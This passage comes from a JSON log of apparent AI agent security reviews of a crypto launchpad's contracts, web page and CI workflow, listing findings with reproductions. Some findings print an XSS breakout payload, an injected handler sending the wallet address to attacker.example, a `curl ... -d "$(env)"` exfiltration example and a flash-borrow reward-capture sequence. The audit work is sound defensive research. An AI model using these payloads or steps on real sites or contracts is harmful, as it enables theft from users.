high, so no proof tests were required). Build and all 34 unit tests pass on the current tree.\n\n## Answer to the main question\n\n**No. Connecting a wallet or claiming rewards cannot drain it.** Connecting only asks for your account list and for Robinhood Chain to be selected or added. It never asks for a signature or an approval. Claiming is a plain transaction with no ETH value to the token contract. The code pays only the address that sent the transaction, never touches token balances, and gives nobody else a way to take your rewards. Trading asks for exactly one approval or one permit signature, always for the exact amount typed, always to the project's own router, and the router can only move assets belonging to the account that calls it. The owner key can change who receives the 1% protocol fee and the starting price of future launches. It cannot move holder funds, change balances, redirect rewards, or remove liquidity.\n\n## What the wallet should show for each action\n\n| Action | Wallet prompt | Target | Amount |\n| --- | --- | --- | --- |\n| Connect | Account access, then switch or add chain 4663 | none | none, no signature |\n| Claim | Transaction `claim()` | the token contract | 0 ETH, no approval |\n| Buy with ETH | Transaction `buy` or `buyWithEth` | project router | ETH value equals amount typed |\n| Buy with IMD | `approve` on IMD, then `buy` | spender is the project router | exact amount, then 0 ETH |\n| Sell v2 and v3 | Typed-data `Permit` signature, then `sellWithPermit` | spender is the project router, 10 minute deadline | exact amount |\n| Sell v1 (Pepes) | Transaction `sell` only | v1 router | no approval, 0 ETH |\n| Launch | Transaction `launch` | router | ETH value equals initial buy, else 0 |\n| Admin | `collectProtocolFees`, `flush`, `distribute` | launchpad or token | 0 ETH, funds go to fee address or holders |\n\nAnything else, in particular `eth_sign`, `personal_sign`, an unlimited approval, `setApprovalForAll` or Permit2, is a sign the page is not the real one.\n\n## What I confirmed in the code\n\n- **The v1 router exemption is safe.** The only `transferFrom` in the v1 router runs inside its own unlock callback, which the PoolManager can only reach from the router's own call, and the `from` address is always the router's caller. The GoPlus honeypot flag is a false positive.\n- **Routers are stateless and pull only from the caller.** A front-run permit cannot block a sale and cannot be used by the front-runner. Leftover allowances are spendable only by the router, and only from the approving account.\n- **Claims are safe in all three versions.** The reentrancy lock, the pre-transfer accounting, and the v3 unlock checks hold. The v1 and v2 flash-borrow issue affects pending fees only and is already documented.\n- **The page escapes creator content** and restricts links to https and ipfs. URL parameters cannot redirect a transaction to a foreign contract because unknown tokens are rejected by the launchpad lookup.\n- **The workflow cannot modify the repo or leak secrets.** Permissions are read-only and no secrets are referenced.\n\n## Findings\n\n- **Low:** a transaction hash from the Blockscout API is written into an href without escaping. Combined with the CSP's `unsafe-inline`, a compromised explorer response could run script that retargets trades.\n- **Low:** the CSP should use script hashes instead of `unsafe-inline`, narrow `connect-src`, and drop the localhost origins.\n- **Info:** the launch initial buy passes a zero minimum output, impostor tokens are shown without a collision warning, Google Fonts is a third external origin, and workflow actions should be pinned to commit SHAs.\n\nFor the repository, enforce branch protection with required reviews, signed commits, 2FA, and lock Vercel's production branch, since any push to main changes the live site.","treeHash":null,"usage":{"cachedInputTokens":1634015,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":39663,"runtime":"claude","turns":36,"wallClockMs":665719}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"468e82a89b9bfe18","findings":[{"citation":"resolved","description":"PadTokenV1.distribute() (this line) and PadTokenV2.distribute() (contracts/src/v2/PadTokenV2.sol:199) have no `isUnlocked()` guard, and both versions' claim() calls pad.flush(), which in the deployed v1/v2 launchpads (git a549093 and 68ba9e3, `if (poolManager.isUnlocked()) _flush(token);`) runs the distribution inline for ANY caller mid-unlock. While the Uniswap v4 PoolManager is unlocked anyone can `take()` the pool's whole token balance (flash accounting) and return it before the unlock ends; while borrowed those tokens count toward eligibleSupply, so a distribution in that window pays the borrower who owns nothing. What is at risk is only reward money that has NOT yet been distributed: pendingHolderFees in the v1/v2 launchpad from swaps routed through third-party routers (GMGN, aggregators, the Uniswap app) and quote sitting unaccounted in the token contract. Rewards already distributed (withdrawableDividendOf) cannot be taken, a holder's tokens/ETH/IMD in their own wallet are never touched, and claim() only pays msg.sender, so this is not a wallet drain. It does mean the statement 'nobody else can take a holder's rewards' is false for v1/v2 pending fees, and it is MEV-able after every third-party trade. v3 (contracts/src/PadToken.sol:206, PepesFamily.sol:374) has the guards and pays the borrower zero. Merged from audit_flow (same mechanism). Fix: nothing can be changed in v1/v2 bytecode. Keep pending fees near zero by calling PepesFamily.flush(token) from an ordinary transaction (outside any unlock) on a keeper schedule after each third-party trade, not manually from the Admin page; tell holders that claiming also flushes; steer volume to v3. Document this as a known limitation in the holder FAQ.","line":148,"path":"contracts/src/v1/PadTokenV1.sol","reproduction":"Scratch Foundry test (contracts/test/scratch/Judge.t.sol, test_v1Token_flashBorrowerTakesPendingRewards / test_v2Token_...): deploy PadTokenV1 (and V2) with poolManager = a fresh v4 PoolManager; transfer 800,000,000e18 to the PoolManager (the pool's balance) and 200,000,000e18 to alice (the only real holder, eligibleSupply = 2e26); send 1 ETH to the token as not-yet-distributed rewards. A Borrower contract with 0 tokens calls poolManager.unlock(); in unlockCallback it take()s the 800M tokens, calls token.distribute() then token.claim(), then sync/transfer/settle returns the tokens. Expected: borrower receives 0 and alice's withdrawable share is 1 ETH. Actual (forge test --offline --match-path test/scratch/Judge.t.sol -vv): v1 attacker gain 799999999999999999 wei, alice share 199999999999999999 wei; v2 identical (799999999999999999). The same sequence against v3 PadToken (test_v3Token_flashBorrowerGetsNothing) pays the borrower 0 and alice 999999999999999999. On mainnet the inline distribution is reached through claim() -> v1/v2 pad.flush() while unlocked, so any pendingHolderFees[token] from third-party-router swaps is captured the same way.","severity":"medium","snippet":"    function distribute() public returns (uint256 amount) {","title":"v1/v2 tokens: distribute()/claim() inside a PoolManager unlock lets a flash-borrower take holders' not-yet-distributed rewards (immutable; Pepes is v1)"},{"citation":"resolved","description":"fetchTradeLogs() copies `i.transaction_hash` straight out of the Blockscout JSON into `hash` (line 1641: `hash: i.transaction_hash`) and loadTrades() interpolates `${t.hash}` into a double-quoted href attribute inside `$(\"#trades\").innerHTML` without esc() and without checking it is 0x + 64 hex. Every other dynamic value on the page is escaped, ABI-decoded by ethers (type-checked), or a number; this is the only string from an external service that reaches the DOM raw (the RPC fallback on line 1652 uses ethers' validated transactionHash and is not affected; the home-page feed on line 855 uses transaction_hash only as a Map key). Because the page CSP (line 6) allows script-src 'unsafe-inline', an attribute breakout with an inline event handler executes in the pepesfamily.fun origin with access to the connected provider: it could rewrite CONFIG.pads[].router or the Permit spender so the next Buy/Sell prompt targets an attacker contract (the wallet still shows a prompt, but it appears to come from the legitimate site). Precondition: the attacker controls the body served for CONFIG.blockscoutApi (compromised explorer, poisoned cache/CDN, hostile network with a mis-issued certificate), so this is a defence-in-depth gap, not something a token creator or URL can trigger. Merged from audit_economics, audit_flow and audit_permissions (same sink). Fix: in fetchTradeLogs keep only items whose transaction_hash matches /^0x[0-9a-fA-F]{64}$/ (drop the row otherwise) and render `${esc(t.hash)}`; apply the same validation to any future field copied from an API response.","line":1662,"path":"web/index.html","reproduction":"State: token page #/t/0xE2C46c7068566740A33A4C93f5445B07BCfE5644 open; GET {blockscoutApi}/addresses/<pad>/logs?topic=<padded token> returns one item whose topics/data are a valid Trade log (copy any real one) but whose transaction_hash is `\"><img src=x onerror=\"alert(document.domain)\">`. Trace: the filter on line 1640 passes (topics[0] == Trade topic, topics[1] == token), line 1641 sets hash to that string, line 1662 builds the row. Evaluating the template literal with that value (node -e with the same expression) yields `<td><a href=\"https://robinhoodchain.blockscout.com/tx/\"><img src=x onerror=\"alert(document.domain)\">\" target=\"_blank\" rel=\"noopener\">↗</a></td>`: the attribute closes at the injected quote, the <img> loads, its onerror runs because 'unsafe-inline' permits inline handlers. Expected: the hash is rendered inert (esc) or the row is dropped. Actual: attacker-supplied JavaScript executes in the page origin.","severity":"low","snippet":"    <td><a href=\"${CONFIG.explorer}/tx/${t.hash}\" target=\"_blank\" rel=\"noopener\">↗</a></td></tr>`).join(\"\")","title":"Trade table writes Blockscout's transaction_hash into innerHTML unescaped; with script-src 'unsafe-inline' a spoofed or compromised API response runs script in the wallet-connected page"},{"citation":"resolved","description":"When the quote is the swap's specified currency (exact-in buy, exact-out sell), beforeSwap computes the fee from params.amountSpecified before the pool runs, returns it as the specified-side BeforeSwapDelta and mints that many claims in _chargeFee. If the swap then stops at the caller's sqrtPriceLimitX96 (partial fill), the pool consumes only part of the amount but the fee stays 4% of the full request; the surplus lands in pendingProtocolFees/pendingHolderFees. In the exact-out sell variant, if the partial payout is smaller than the up-front fee, line 350 (`poolQuote - fee`) underflows and the swap reverts with Panic(0x11). Reachability: PepesFamilyRouter and PepesFamilyEthRouter always pass MIN/MAX price limits, so only swaps submitted with a binding limit through a third-party router or a direct PoolManager unlock are affected, and only the trader who chose that limit loses, bounded by 4% of what they requested. This was reported in the earlier launchpad audit and is already disclosed on the site (CONFIG.audits.launchpad.note); it is kept here because it reproduces on the current code and a holder trading through GMGN/Uniswap with a price limit would be surprised. Fix (preserves the design): in afterSwap, when the fee came from FEE_SLOT, compare the executed specified amount with the request and revert with a dedicated error on a partial fill (afterSwap cannot return a specified-side delta, so a refund is not available); or document that partially filled fee-up-front swaps overpay.","line":310,"path":"contracts/src/PepesFamily.sol","reproduction":"Scratch Foundry test test_partialFill_exactInBuy_feeNot4pct (contracts/test/scratch/Judge.t.sol): fresh deployment with the repo parameters (ETH start cap 1.5 ETH); alice buys 1 ETH via PepesFamilyRouter; bob submits an exact-in buy of 1 ETH via PoolSwapTest with sqrtPriceLimitX96 = getSqrtPriceAtTick(currentTick - 100). Expected: fee == 4% of what bob actually paid (±1 wei). Actual: PoolManager ETH balance rose by 52548070343463998 wei (bob's executed gross) while pendingProtocolFees rose by 10000000000000000 (fee = 40000000000000000 wei) = 7612 bps of the executed amount instead of 400. Test output: `fee is not 4% of executed amount: 40000000000000000 !~= 2101922813738559`.","severity":"low","snippet":"        uint256 fee = exactIn ? (amount * FEE_BPS) / BPS : (amount * FEE_BPS) / (BPS - FEE_BPS);","title":"Hook fee taken in beforeSwap is 4% of the requested amount, not of the executed amount: a partially filled swap (binding price limit) pays far more than 4%"},{"citation":"resolved","description":"The brief describes the policy as `connect-src https:`; the shipped meta policy is `connect-src https: wss: http://127.0.0.1:8545 http://localhost:8545` and `script-src 'unsafe-inline' https://cdnjs.cloudflare.com`. The page has exactly two inline <script> blocks (lines 16-19 and 231-1690) and no inline event-handler attributes (comment at line 476, confirmed by grep: no on*= attributes, no javascript: URLs), which is precisely the case a hash-based CSP handles: replacing 'unsafe-inline' with the SHA-256 of the two script bodies keeps the page working while making injected inline handlers inert. As written, 'unsafe-inline' turns every HTML sink into a script sink (see the transaction_hash finding), connect-src https: wss: lets injected code post the connected address and captured data to any host, and the two localhost origins are development leftovers with no production use. frame-ancestors 'none', HSTS, nosniff and no-referrer in web/vercel.json were verified correct (X-Frame-Options DENY as well). Not exploitable on its own; it decides whether the one remaining sink is harmless or total. Merged from audit_permissions (low) and audit_economics (info). Fix: set `script-src 'sha256-<hash1>' 'sha256-<hash2>' https://cdnjs.cloudflare.com`; narrow connect-src to the hosts actually used (robinhood-rpc.publicnode.com, rpc.mainnet.chain.robinhood.com, robinhoodchain.blockscout.com; IPFS gateways are img-src); drop wss: and the localhost entries (keep them in a local dev copy); consider moving the policy into web/vercel.json headers so one header covers both frame-ancestors and the rest, and update the public description to match the header exactly.","line":6,"path":"web/index.html","reproduction":"Input: read the delivered <meta http-equiv=\"Content-Security-Policy\"> on line 6. Expected per the brief: connect-src https: only. Actual: `connect-src https: wss: http://127.0.0.1:8545 http://localhost:8545`. With this policy, a string reaching an innerHTML sink unescaped containing `<img src=x onerror=\"fetch('https://attacker.example/?a='+account)\">` executes (unsafe-inline) and the fetch succeeds (https: wildcard); `new WebSocket('wss://attacker.example')` and `fetch('http://localhost:8545')` are also permitted. With a hash-based script-src the handler is blocked and a CSP violation is logged while the two legitimate scripts still match their hashes. Hashes to place in the policy: `python3 -c \"import hashlib,re,base64; s=open('web/index.html').read(); [print('sha256-'+base64.b64encode(hashlib.sha256(m.encode()).digest()).decode()) for m in re.findall(r'<script>(.*?)</script>', s, re.S)]\"`.","severity":"low","snippet":"<meta http-equiv=\"Content-Security-Policy\" content=\"default-src 'none'; script-src 'unsafe-inline' https://cdnjs.cloudflare.com; style-src 'unsafe-inline' https://fonts.googleapis.com; font-src https://fonts.gstatic.com; img-src 'self' https: data:; connect-src https: wss: http://127.0.0.1:8545 http://localhost:8545; base-uri 'none'; form-action 'none'; object-src 'none'\" />","title":"CSP relies on script-src 'unsafe-inline' and connect-src https: wss:, and keeps http://127.0.0.1:8545 / http://localhost:8545 in production, so any markup injection becomes code execution with unrestr"},{"citation":"resolved","description":"_setStartTick bounds the tick by maxUsableTick(200) - 200 = ±887000, but the launch liquidity L = (TOTAL_SUPPLY - 1e9) * 2^96 / (sqrtU - sqrtL) (token is currency1) grows without bound as the start price moves toward the curve's minimum, and the PoolManager rejects liquidity above tickSpacingToMaxLiquidityPerTick(200) with TickLiquidityOverflow. L crosses that at a start tick of about -349300, far inside the accepted range, so the guard does not protect what it claims to (AUDIT.md 6.3: 'an extreme tick can brick launches'). Owner-only, fail-closed (launch reverts; nothing is mispriced or lost), reversible by setting a sane tick, and economically nonsensical (start cap ~1.5e24 quote), hence informational. The deployed v3 pad uses 203000 (ETH) and 142600 (IMD), which are safe. Fix: in _setStartTick compute the liquidity the launch would use for both currency orderings and revert if it exceeds Pool.tickSpacingToMaxLiquidityPerTick(TICK_SPACING), or tighten the bound to ±349200.","line":457,"path":"contracts/src/PepesFamily.sol","reproduction":"Scratch Foundry test test_startTick_minus349400_bricksLaunch (contracts/test/scratch/Judge.t.sol): owner calls setStartTick(address(0), -349200) and launch succeeds; owner then calls setStartTick(address(0), -349400) (accepted: multiple of 200, within ±887000) and `pad.launch(\"boom\",\"boom\",\"\",address(0))` reverts inside _addLaunchLiquidity (PoolManager.modifyLiquidity -> TickLiquidityOverflow). Expected: either setStartTick rejects the tick or the launch succeeds. Actual: setStartTick succeeds and every subsequent ETH launch reverts (test passes with vm.expectRevert).","severity":"info","snippet":"        if (tick % TICK_SPACING != 0 || tick > limit || tick < -limit) revert BadTick();","title":"setStartTick accepts ticks whose launch liquidity exceeds v4's maxLiquidityPerTick, so every launch for that quote reverts until the owner resets it"},{"citation":"resolved","description":"The routers flush and distribute holder fees before the buyer receives tokens so a trader never earns from their own trade (PepesFamilyRouter.sol:180-182, AUDIT.md section 4). On the first buy nobody holds anything at that moment, so distribute() takes this early return and the 3% waits in the token contract unaccounted. After the transaction the same buyer, now the only holder, calls distribute() (public, no unlock in progress) and then claim() and receives the whole 3% back: the effective fee on the first buy is 1% instead of 4%. The same happens for any trade executed while eligible supply is below MIN_ELIGIBLE_SUPPLY. No third party loses funds (there are no other holders at that moment); the creator effectively gets a 3% rebate on the launch buy that later buyers do not get. AUDIT.md section 8 already accepts that early fees go to the holders present at the next distribution; reported for the record as a boundary case of the 'never earns from own trade' statement. Fix options (product decision): document it; or when eligible < MIN_ELIGIBLE_SUPPLY at flush time route the holder share to feeRecipient or burn it instead of leaving it in the token contract.","line":210,"path":"contracts/src/PadToken.sol","reproduction":"Scratch Foundry test test_firstBuy_rebate (contracts/test/scratch/Judge.t.sol): launch an IMD-quoted token (no holders); bob buys with 10 IMD via PepesFamilyRouter.buy. After the trade withdrawableDividendOf(bob) == 0 and the token holds 0.3 IMD unaccounted. Bob calls token.distribute() then token.claim(). Expected per the documented design: bob earns nothing from his own trade (net cost 10 IMD). Actual: withdrawable after distribute() = 299999999999999999 wei; bob's net cost of the 10 IMD buy = 9700000000000000001 wei (fee effectively 1%). The same sequence via router.launch(..., initialBuy=10e18) gives the creator the rebate.","severity":"info","snippet":"        if (bal <= accountedBalance || eligible < MIN_ELIGIBLE_SUPPLY) return 0;","title":"A trade made while eligibleSupply < 1e18 (always the first buy, typically the creator's launch buy) lets that trader recover their own 3% holder fee"},{"citation":"resolved","description":"name, symbol and metadata are written by whoever launches a token (1-32 / 1-12 / up to 2048 bytes, any characters) and are passed positionally to `cast abi-encode` with no `--` separator, so a value beginning with '-' is parsed by cast as an option instead of a string. The constructor args are then wrong (or are cast's help text), both forge verify-contract calls fail, and because the Sourcify check keeps failing the token is retried and fails again every 15 minutes. Impact is limited to that token staying unverified (scanners show it as closed source) plus wasted CI minutes. It does NOT let anyone modify the repository or leak secrets: the workflow has `permissions: contents: read`, references no secrets, and the injected text only reaches cast/forge as an option name, never a shell (all expansions are quoted). Fix: put `--` before the values (`cast abi-encode \"f(...)\" -- \"$name\" \"$symbol\" \"$metadata\" ...`).","line":40,"path":"contracts/script/verify-tokens.sh","reproduction":"Run locally with the Foundry 1.8.3 cast on this box: `cast abi-encode \"f(string,string,string,address,address,address,address)\" \"--help\" S {} 0x00..00 0x00..01 0x00..01 0x00..01`. Expected: a 0x-prefixed ABI encoding whose first string is \"--help\". Actual: cast prints its usage text (\"ABI encode the given function argument, excluding the selector ...\") and exits 0, so $args is help text. With \"--packed\" as the name cast exits 1 with \"encode length mismatch: expected 7 types, got 6\" and $args is empty. With `--` inserted before the values the same command returns `0x00000000000000000000000000000000000000000000000000000000000000e0...` (correct encoding). A token named \"--help\" (6 bytes) is accepted by PepesFamily._launch.","severity":"info","snippet":"    args=$(cast abi-encode \"f(string,string,string,address,address,address,address)\" \\","title":"verify-tokens.sh passes creator-chosen name/symbol/metadata to `cast abi-encode` as bare arguments: a token named like a cast flag is never source-verified"},{"citation":"resolved","description":"renderCreate() previews the initial buy at lines 1385-1389 (virtual quote from padR.startTick(quote), 4% fee, x*y=k), but the transaction passes minTokensOut = 0n. The only state that can move the result is startTick[quote], which the owner may change at any time with setStartTick() (PepesFamily.sol:437, an intended and documented owner power); nobody else can affect a pool that does not exist yet, so this is not front-runnable by third parties. Every other trade on the page passes withSlippage(expected, slipBps) while the launch buy, which can be a creator's largest single buy, passes zero. Trust assumption: the owner key (0x3c8A...691C, also the fee recipient) is honest and not compromised. Fix: compute the preview amount in the submit handler and pass withSlippage(out, 500) (or the slippage input) instead of 0n.","line":1414,"path":"web/index.html","reproduction":"State: IMD start tick for a 635 IMD starting market cap (Deploy.s.sol default). A creator previews a 100 IMD initial buy: net 96 IMD, out = 1e27*96/(635+96) ≈ 131.3M tokens, and submits. Input: before the launch transaction is sequenced, the owner calls setStartTick(IMD, tick) for a 6,350 IMD market cap. Expected: the launch reverts with Slippage() because tokensOut (≈ 14.9M) is far below the preview. Actual: line 1414 passes 0n as minTokensOut, so PepesFamilyRouter.launch succeeds and the creator receives ≈ 14.9M tokens for the same 100 IMD. With withSlippage(out, 500) (≈ 124.7M) the same sequence reverts.","severity":"info","snippet":"      const tx = await router.launch($(\"#n\").value.trim(), $(\"#s\").value.trim(), JSON.stringify(m), quote, initialBuy, 0n,","title":"Launch-with-initial-buy sends minTokensOut = 0, so the creator's first buy has no price floor if startTick changes between the preview and the transaction"},{"citation":"resolved","description":"PepesFamily.launch() is permissionless and only checks lengths (PepesFamily.sol:242), so anyone can launch a second token named Pepes / PEPES with the same image and description. The site escapes these strings correctly (no XSS), and every transaction still goes to the hard-coded router of the launchpad that created the token, so this is not a wallet drain: the user gets exactly what they signed for. It answers the brief's 'fake token page' question: a visitor following a shared #/t/<impostor> link sees a page matching the real Pepes page in name, ticker, picture and links; only the short address and the 'launchpad v3' label differ, and the Audit button on this line opens the launchpad audit for any token not in CONFIG.audits.tokens, which makes an impostor look audited. CONFIG.audits.tokens already knows the canonical Pepes address, so the page has the data to flag the difference. Fix: show the Audit button only for addresses present in CONFIG.audits.tokens (or label the fallback 'Launchpad audit', not 'Audit'), and show an 'Unverified / name collides with <earlier token>' notice when name or symbol matches an earlier launch on any pad.","line":1456,"path":"web/index.html","reproduction":"Input: call PepesFamilyRouter.launch(\"Pepes\", \"PEPES\", <metadata JSON copied from 0xE2C46c70...5644>, address(0), 0, 0) on the v3 router 0x8A9b6A990d13f25F6393aCacfB013F980c763a27 and open https://pepesfamily.fun/#/t/<new address>. Expected: the page warns that another token with this name and ticker exists and that this one is not the audited Pepes token. Actual: renderToken() shows 'Pepes', '$PEPES', the Pepes image and links, and `(CONFIG.audits.tokens[addr.toLowerCase()] || CONFIG.audits.launchpad).url` resolves to the launchpad report, so an 'Audit ↗' button appears with no warning; a Buy sends ETH (correctly) to the v3 router for the impostor token.","severity":"info","snippet":"                <a class=\"btn\" href=\"${(CONFIG.audits.tokens[addr.toLowerCase()] || CONFIG.audits.launchpad).url}\" target=\"_blank\" rel=\"noopener noreferrer\" title=\"${esc((CONFIG.audits.tokens[addr.toLowerCase()] || CONFIG.audits.launchpad).result)}\">Audit ↗</a>","title":"Token pages show an 'Audit' button that falls back to the launchpad report for every token, and render creator-chosen name/symbol/image with no impostor warning, so a look-alike launch of Pepes is ind"},{"citation":"resolved","description":"The brief states the only external script is ethers 6.13.4 from cdnjs with an SRI hash, and that is true for scripts (line 15, integrity sha512, crossorigin anonymous). However the page also loads a stylesheet from fonts.googleapis.com (preconnect line 13, link line 14) and font files from fonts.gstatic.com, both allowed by the CSP (style-src and font-src). CSS cannot sign or change transactions, so this is not a wallet-safety issue, but it is a privacy and availability dependency (every visitor's IP and user agent reach Google; an outage degrades the page) and a compromised stylesheet origin could overlay or restyle visible text such as the 'You receive' preview, though the wallet prompt itself would stay truthful. The public statement to holders should say 'no other scripts; one font stylesheet from Google' or the dependency should be removed. Merged from audit_permissions and audit_economics. Fix: self-host the three IBM Plex Mono weights under web/ and tighten style-src to 'unsafe-inline' (or a hash) and font-src to 'self'.","line":14,"path":"web/index.html","reproduction":"Input: open https://pepesfamily.fun with the network panel open and no wallet connected. Expected per the stated supply-chain model: requests only to pepesfamily.fun, cdnjs.cloudflare.com, robinhood-rpc.publicnode.com and robinhoodchain.blockscout.com. Actual: line 14 `<link href=\"https://fonts.googleapis.com/css2?family=IBM+Plex+Mono...\" rel=\"stylesheet\" />` requests Google Fonts CSS, which in turn loads woff2 files from fonts.gstatic.com, both permitted by line 6 (`style-src 'unsafe-inline' https://fonts.googleapis.com; font-src https://fonts.gstatic.com`).","severity":"info","snippet":"<link href=\"https://fonts.googleapis.com/css2?family=IBM+Plex+Mono:wght@400;500;600&display=swap\" rel=\"stylesheet\" />","title":"Google Fonts is a third external origin loaded on every visit, contradicting the 'only external resource is ethers from cdnjs' statement"},{"citation":"resolved","description":"The workflow is correctly locked down: `permissions: contents: read` (so GITHUB_TOKEN cannot push, open PRs or write releases), no repository secrets are referenced, and the script only reads public chain state and submits source to Sourcify/Blockscout, which verify bytecode themselves. It therefore cannot modify the repository or leak secrets, confirming the brief's expectation. The remaining trust is in two third-party actions resolved by floating tags (actions/checkout@v4 on line 22 and foundry-rs/foundry-toolchain@v1 here). If either tag were re-pointed to malicious code, the runner would execute it every 15 minutes with the read-only token: it could not touch main or the Vercel deployment, but could burn Actions minutes or abuse the runner. Separately, since anyone who can push to main deploys the live site, the repository settings (not visible in the tree) should enforce branch protection on main with required reviews, required signed commits, 2FA for all collaborators, and Vercel's production branch locked to main with deployment protection enabled. Fix: pin both actions to full commit SHAs with a version comment and enable Dependabot for github-actions.","line":25,"path":".github/workflows/verify-tokens.yml","reproduction":"State: the schedule trigger fires with the current file. Input: the upstream v1 tag of foundry-rs/foundry-toolchain is moved to a commit that adds `curl attacker.example -d \"$(env)\"`. Expected with SHA pinning: the workflow keeps running the audited commit. Actual: the next run executes the new code; env contains a read-only GITHUB_TOKEN and no project secrets, so the measurable damage is limited to runner abuse, which is why this is informational rather than a defect. Verified in the tree: line 22 `- uses: actions/checkout@v4`, line 25 `- uses: foundry-rs/foundry-toolchain@v1`, `permissions:` block = `contents: read`, no `secrets.` reference.","severity":"info","snippet":"      - uses: foundry-rs/foundry-toolchain@v1","title":"verify-tokens.yml references actions by mutable tags; blast radius is already minimal (contents: read, no secrets) but pinning to commit SHAs removes the remaining supply-chain trust"}],"hash":"cf557e2cf2f6c7aea17f9ef9970f76db38ddada884959a7ae6f994d5993a1d69","nodeId":"32146d0a-c5b3-4a1e-a5bc-659de93352c2","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds 11 verified findings. No source files were changed. The only additions are the findings file and my scratch test under `contracts/test/scratch/`, which is discarded.\n\n**Answer to the holders' question.** Connecting or claiming cannot drain a wallet. Connect sends only account and chain requests, with no signature. Claim is a zero-value call to the token contract that pays only the signer and never moves tokens. Buys approve the exact typed amount, sells use an exact-amount permit with a 10-minute deadline, and routers only pull from their own caller. The v1 router exemption pulls only from its own caller as well. I verified this against the page code, the v3 contracts, and the v1/v2 sources in git history.\n\n**What I kept, by severity**\n\n- **Medium.** v1 and v2 tokens have no unlock guard on distribute(), so a flash-borrower inside a PoolManager unlock can capture holder fees that are pending but not yet distributed. My scratch test on the repo's PadTokenV1 and PadTokenV2 showed a borrower with zero tokens taking 0.8 of 1 ETH pending, with the sole real holder getting 0.2. The same sequence against v3 pays zero. This is immutable and already documented, and it never touches a holder's wallet or already-distributed rewards. Fix is operational: flush v1/v2 tokens from outside any unlock on a keeper schedule.\n- **Low.** Blockscout's transaction hash is written into the trade table unescaped, and the page CSP allows inline scripts, so a spoofed or compromised explorer response runs code in the connected page. Three specialists reported this separately and I merged them into one.\n- **Low.** The hook fee is 4% of the requested amount, not the executed one, on partially filled swaps through third-party routers. Reproduced: fee of 7612 basis points on the executed amount. Already disclosed on the site.\n- **Low.** The CSP keeps 'unsafe-inline', connect-src wildcards for https and wss, and two localhost RPC origins.\n- **Info.** Seven items: start-tick bound that lets the owner brick launches (reproduced at tick -349400), first-buyer fee rebate (reproduced, net cost 9.7 of 10 IMD), flag injection in verify-tokens.sh via `cast abi-encode` (reproduced with a token named `--help`), launch initial buy with zero slippage floor, Audit button shown for impostor tokens, Google Fonts as an undeclared third origin, and workflow actions pinned by tag.\n\n**What I dropped or changed.** Nothing was dropped; every specialist finding reproduced. I merged the three transaction-hash reports into one and the two CSP reports into one, kept Google Fonts separate because the fix differs, and moved the impostor finding to the Audit button line since that is the concrete misleading element. No finding is high or critical, so none carries a proof file.","treeHash":null,"usage":{"cachedInputTokens":2194630,"inputTokens":546,"model":"claude-fable-5-1","outputTokens":31101,"runtime":"claude","turns":34,"wallClockMs":661252}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"0238a59bba722237","findings":[{"citation":"resolved","description":"Execution-trace / first-principles. distribute() assumes that every non-excluded balance at the moment it runs is a real holding. That is false while the Uniswap v4 PoolManager is unlocked: anyone can poolManager.take() the pool's token balance (flash accounting) and give it back before the unlock ends. PadTokenV1.distribute() (line 148) and PadTokenV2.distribute() (contracts/src/v2/PadTokenV2.sol:199) have no isUnlocked() guard, and claim() (v1 line 173-176, v2 line 224-227) calls pad.flush(this), which in the deployed v1/v2 launchpads runs _flush inline for ANY caller when the manager is unlocked (git a549093 / 68ba9e3: `if (poolManager.isUnlocked()) _flush(token);`). v3 (contracts/src/PadToken.sol:206 and PepesFamily.sol:374) added the guards; v1 and v2 are immutable and still live, and AUDIT.md acknowledges this. Scope of the loss, for the community answer: what can be taken is only reward money that has NOT yet been distributed (pendingHolderFees in the launchpad from trades through third-party routers such as GMGN/aggregators, or quote sitting unaccounted in the token). Rewards already distributed to a holder (withdrawableDividendOf) cannot be taken, because the borrower's correction is set at the pre-distribution magnifiedDividendPerShare and payouts are bounded by accountedBalance; a holder's tokens, ETH and IMD in their wallet are never touched; claim() only ever pays msg.sender. So this is not a wallet drain, but the statement 'nobody else can take a holder's rewards' is not true for v1/v2 pending fees. Fix: cannot be patched in v1/v2. Keep pending fees near zero by calling flush(token) from an ordinary transaction (outside any unlock) on a schedule/keeper rather than manually from the Admin page; tell holders that claiming promptly also flushes; steer volume to v3 where the guard exists.","line":148,"path":"contracts/src/v1/PadTokenV1.sol","reproduction":"State: v1 token Pepes 0xE2C46c7068566740A33A4C93f5445B07BCfE5644 (pad 0x2d7689E4...68CC). pendingHolderFees[Pepes] = 1e18 quote-wei (accumulated from swaps routed through any router other than PepesFamilyRouter). Real holders hold 200,000,000e18 (eligibleSupply = 2e26); PoolManager holds ~800,000,000e18. Attacker contract A (holds 0 tokens) calls poolManager.unlock(); in unlockCallback: (1) poolManager.take(Currency(Pepes), A, 800_000_000e18) -> _transfer from excluded PoolManager to A raises eligibleSupply to 1e27 and sets A's correction to -(mdps*8e26); (2) A calls Pepes.claim() -> pad.flush(Pepes) -> manager is unlocked so _flush runs inline -> 1e18 quote sent to token -> distribute(): magnifiedDividendPerShare += 1e18*2^128/1e27 -> withdrawableDividendOf(A) = 0.8e18 -> paid to A; (3) poolManager.sync(Pepes); Pepes.transfer(poolManager, 800_000_000e18); poolManager.settle() -> delta back to zero, unlock ends. Expected: the 1e18 pending reward is split only among the real holders (each holder of x tokens gets x/2e26). Actual: A, who owned nothing and paid only gas, receives 0.8e18 (80%); real holders share the remaining 0.2e18. Same trace on a v2 token via PadTokenV2.claim()/distribute(). On v3 the identical sequence pays A zero (tests test_audit_flashHolderCannotClaimPendingFees / test_audit_flashHolderCannotTriggerDistribution in contracts/test/PepesFamily.t.sol).","severity":"medium","snippet":"    function distribute() public returns (uint256 amount) {","title":"v1/v2 tokens: claim()/distribute() inside a PoolManager unlock lets a flash-borrower take holders' not-yet-distributed rewards (known, immutable; Pepes is v1)"},{"citation":"resolved","description":"Execution-trace (untrusted return value). fetchTradeLogs() (line 1641) copies `i.transaction_hash` straight from the third-party Blockscout JSON into `hash`, and loadTrades() interpolates `${t.hash}` into an href inside `$(\"#trades\").innerHTML` without esc() and without checking it is a 0x + 64 hex string. Every other field in that row is safe (trader/amounts come out of ABI-decoding, which type-checks them), and on the RPC fallback path ethers validates the hash, so this is the one value on the token page that reaches the DOM unvalidated. Because the page CSP is `script-src 'unsafe-inline' ...`, injected inline event handlers execute, and `connect-src https: wss:` lets the injected script talk to any host. A script running in the page can rewrite the UI and send its own eth_sendTransaction / eth_signTypedData_v4 requests (e.g. 